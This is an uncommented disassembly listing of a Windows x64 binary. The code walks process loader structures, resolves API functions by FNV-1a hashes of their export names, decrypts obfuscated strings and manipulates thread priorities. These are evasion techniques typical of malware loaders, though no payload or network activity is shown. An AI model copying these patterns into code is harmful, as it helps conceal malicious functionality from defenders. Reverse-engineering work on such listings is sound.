call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rbx, qword [0x1400f6cc8]
test rbx, rbx
jne 0x14006cf1c
xor r11d, r11d
mov r10d, 0x6ee2167e
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006cdfd
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x60abd22e
cmp rcx, r8
je 0x14006cdf4
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006cde0
cmp edx, r11d
jne 0x14006cefd
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14006cefd
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006cefd
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x60abd22e
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006ce76
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006ce60
cmp edx, r10d
je 0x14006ce82
test r8d, r8d
jne 0x14006ce40
jmp 0x14006cefd
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, rdi
jbe 0x14006cf15
lea rax, [r15 + rdi]
cmp rbx, rax
jae 0x14006cf15
mov r11d, 0x60abd22e
mov r10d, r11d
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x14006ced7
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x14006cec0
inc rbx
movzx eax, byte [rbx]
test al, al
je 0x14006cef9
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x14006cee1
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14006cf13
cmp qword [rax + 0x30], 0
jne 0x14006cdb0
xor ebx, ebx
mov qword [0x1400f6cc8], rbx
mov eax, dword [0x1400cf3b8]
mov dword [rbp + 0x108], eax
movzx eax, word [0x1400cf3bc]
mov word [rbp + 0x10c], ax
movzx eax, byte [0x1400cf3be]
movups xmm0, xmmword [str.Bd_MsUZRLR_5_]
mov byte [rbp + 0x10e], al
movups xmmword [rbp + 0xf8], xmm0
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14006d0bf
movdqa xmm5, xmmword [0x1400e4c40]
movdqa xmm4, xmmword [0x1400d0580]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [str.3333]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1400d04c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xfc]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e4cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e4cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006cfb0
cmp r8d, 0x17
jge 0x14006d103
movsxd rax, r8d
lea r9, [rbp + 0xf8]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14006d0d0
mov rdx, qword [0x1400f6cc0]
test rdx, rdx
jne 0x14006d2ac
xor r11d, r11d
mov r10d, 0x7b3f1770
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r14, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [r14 + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006d18d
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x61abd3c1
cmp rcx, r8
je 0x14006d184
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006d170
cmp edx, r11d
jne 0x14006d28d
mov r9, qword [r14 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov esi, ecx
add rsi, r9
cmp rsi, r9
je 0x14006d28d
mov r8d, dword [rsi + 0x18]
test r8d, r8d
je 0x14006d28d
mov r15d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
add rcx, r9
mov edx, 0x61abd3c1
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006d206
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006d1f0
cmp edx, r10d
je 0x14006d212
test r8d, r8d
jne 0x14006d1d0
jmp 0x14006d28d
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rsi
jbe 0x14006d2a5
lea rax, [r12 + rsi]
cmp rdx, rax
jae 0x14006d2a5
mov r11d, 0x61abd3c1
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14006d267
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x14006d250
inc rdx
movzx eax, byte [rdx]
test al, al
je 0x14006d289
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x14006d271
mov r14, qword [r13]
mov rax, qword [r14]
mov r14, rax
cmp rax, r13
je 0x14006d2a3
cmp qword [rax + 0x30], 0
jne 0x14006d140
xor edx, edx
mov qword [0x1400f6cc0], rdx
movsd xmm0, qword [str._BSTU]
movsd qword [rsp + 0x58], xmm0
movzx eax, word [0x1400cf3a0]
mov word [rsp + 0x60], ax
cmp byte [0x1400cf3a1], 0
je 0x14006d301
mov byte [rsp + 0x58], WSAGetLastError
xor byte [rsp + 0x59], 0x36
xor byte [rsp + 0x5a], 0x37
xor byte [rsp + 0x5b], 0x38
xor byte [rsp + 0x5c], 0x39
xor byte [rsp + 0x5d], 0x3a
xor byte [rsp + 0x5e], 0x3b
xor byte [rsp + 0x5f], 0x3c
xor byte [rsp + 0x60], 0x3d
xor byte [rsp + 0x61], 0x3e
lea rcx, [rsp + 0x58]
call rdx
lea rdx, [rbp + 0xf8]
mov rcx, rax
call rbx
mov r13, rax
test rax, rax
je 0x14006d56d
mov rax, qword [rsp + 0x50]
test rax, rax
jne 0x14006d4ce
mov rcx, qword [0x1400f6cb8]
test rcx, rcx
jne 0x14006d4d1
xor r11d, r11d
mov r10d, 0x14a5cff0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006d3ad
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x7e8c578d
cmp rcx, r8
je 0x14006d3a4
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006d390
cmp edx, r11d
jne 0x14006d4ad
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14006d4ad
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006d4ad
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r14]
add rcx, r9
mov edx, 0x7e8c578d
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006d426
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006d410
cmp edx, r10d
je 0x14006d432
test r8d, r8d
jne 0x14006d3f0
jmp 0x14006d4ad
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
cmp rcx, rdi
jbe 0x14006d4c5
lea rax, [r15 + rdi]
cmp rcx, rax
jae 0x14006d4c5
mov r11d, 0x7e8c578d
mov r10d, r11d
movzx eax, byte [rcx]
cmp al, 0x2e
je 0x14006d487
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rcx
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x14006d470
inc rcx
movzx eax, byte [rcx]
test al, al
je 0x14006d4a9
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x14006d491
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14006d4c3
cmp qword [rax + 0x30], 0
jne 0x14006d360
xor ecx, ecx
mov qword [0x1400f6cb8], rcx
jmp 0x14006d4d1
mov rcx, rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
call r13
mov ebx, eax
xor edx, edx
mov rcx, qword [0x1400f6c50]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor edx, edx
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
nop
movabs rcx, 0xff00ff00ff00ff00
mov rax, qword [rbp + 0x90]
xor rax, rcx
mov rcx, qword [rbp + 0x88]
mov qword [rcx], rax
mov rax, qword [0x1400f6c60]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0xb98]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x178], rax
mov qword [rbp + 0x180], rcx
mov rax, qword [rcx]
movabs rdx, 0xff00ff00ff00ff00
xor rax, rdx
mov qword [rbp + 0x170], rax
mov qword [rcx], 0
cmp qword [0x1400f6c50], 0
jne 0x14006d6c6
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x570]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x578], 0
jne 0x14006d8ba
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006d6a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006d6a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x9c17cd80
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006d6a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006d680
cmp r8d, 0x6777e650
je 0x14006d6ab
test r9d, r9d
jne 0x14006d660
mov rax, qword [rax]
jmp 0x14006d630
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c58], 0
jne 0x14006d7a6
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x5c0]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x5c8], 0
jne 0x14006d8ba
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006d786
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006d786
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x1351816
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006d781
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006d760
cmp r8d, 0xac2b477e
je 0x14006d78b
test r9d, r9d
jne 0x14006d740
mov rax, qword [rax]
jmp 0x14006d710
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c60], 0
jne 0x14006d886
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x5b0]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x5b8], 0
jne 0x14006d8ba
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006d866
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006d866
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x6409304d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006d861
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006d840
cmp r8d, 0xbd3621ad
je 0x14006d86b
test r9d, r9d
jne 0x14006d820
mov rax, qword [rax]
jmp 0x14006d7f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
cmp qword [0x1400f6c68], 0
jne 0x14006d976
lea rdx, [0x140061e90]
lea rcx, [rbp + 0x5a0]
call fcn.140059f40
nop
mov rcx, rax
call fcn.140069a50
nop
cmp dword [rbp + 0x5a8], 0
je 0x14006d8c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14006d956
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14006d956
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xe8baa947
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14006d951
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14006d930
cmp r8d, 0xbb9feb87
je 0x14006d95b
test r9d, r9d
jne 0x14006d910
mov rax, qword [rax]
jmp 0x14006d8e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c50]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c58]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c60]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x1400f6c68]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rbx, qword [0x1400f6cc8]
test rbx, rbx
jne 0x14006dbac
xor r11d, r11d
mov r10d, 0x6ee2167e
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006da8d
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x60abd22e
cmp rcx, r8
je 0x14006da84
nop
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006da70
cmp edx, r11d
jne 0x14006db8d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
shr r15, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14006db8d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006db8d
mov r14d, dword [rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x60abd22e
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006db06
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006daf0
cmp edx, r10d
je 0x14006db12
test r8d, r8d
jne 0x14006dad0
jmp 0x14006db8d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
cmp rbx, rdi
jbe 0x14006dba5
lea rax, [rdi + r15]
cmp rbx, rax
jae 0x14006dba5
mov r11d, 0x60abd22e
mov r10d, r11d
movzx eax, byte [rbx]
cmp al, 0x2e
je 0x14006db67
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rbx
movzx eax, byte [rbx]
cmp al, 0x2e
jne 0x14006db50
inc rbx
movzx eax, byte [rbx]
test al, al
je 0x14006db89
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rbx, [rbx + 1]
movzx eax, byte [rbx]
test al, al
jne 0x14006db71
mov rsi, qword [r12]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x14006dba3
cmp qword [rax + 0x30], 0
jne 0x14006da40
xor ebx, ebx
mov qword [0x1400f6cc8], rbx
mov eax, dword [0x1400cf3b8]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x1400cf3bc]
mov word [rbp + 0xf4], ax
movzx eax, byte [0x1400cf3be]
movups xmm0, xmmword [str.Bd_MsUZRLR_5_]
mov byte [rbp + 0xf6], al
movups xmmword [rbp + 0xe0], xmm0
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14006dd4f
movdqa xmm5, xmmword [0x1400e4c40]
movdqa xmm4, xmmword [0x1400d0580]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [str.3333]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1400d04c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xe4]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e4cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400e4cc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006dc40
cmp r8d, 0x17
jge 0x14006dd93
movsxd rax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14006dd60
mov rdx, qword [0x1400f6cc0]
test rdx, rdx
jne 0x14006df3c
xor r11d, r11d
mov r10d, 0x7b3f1770
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov r14, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [r14 + 0x58]
movups xmmword [rsp + 0x40], xmm0
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14006de1d
mov rcx, qword [rsp + 0x48]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x61abd3c1
cmp rcx, r8
je 0x14006de14
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14006de00
cmp edx, r11d
jne 0x14006df1d
mov r9, qword [r14 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov esi, ecx
add rsi, r9
cmp rsi, r9
je 0x14006df1d
mov r8d, dword [rsi + 0x18]
test r8d, r8d
je 0x14006df1d
mov r15d, dword [rsi + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x61abd3c1
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006de96
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006de80
cmp edx, r10d
je 0x14006dea2
test r8d, r8d
jne 0x14006de60
jmp 0x14006df1d
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov eax, dword [rsi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rsi
jbe 0x14006df35
lea rax, [r12 + rsi]
cmp rdx, rax
jae 0x14006df35
mov r11d, 0x61abd3c1
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x14006def7
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
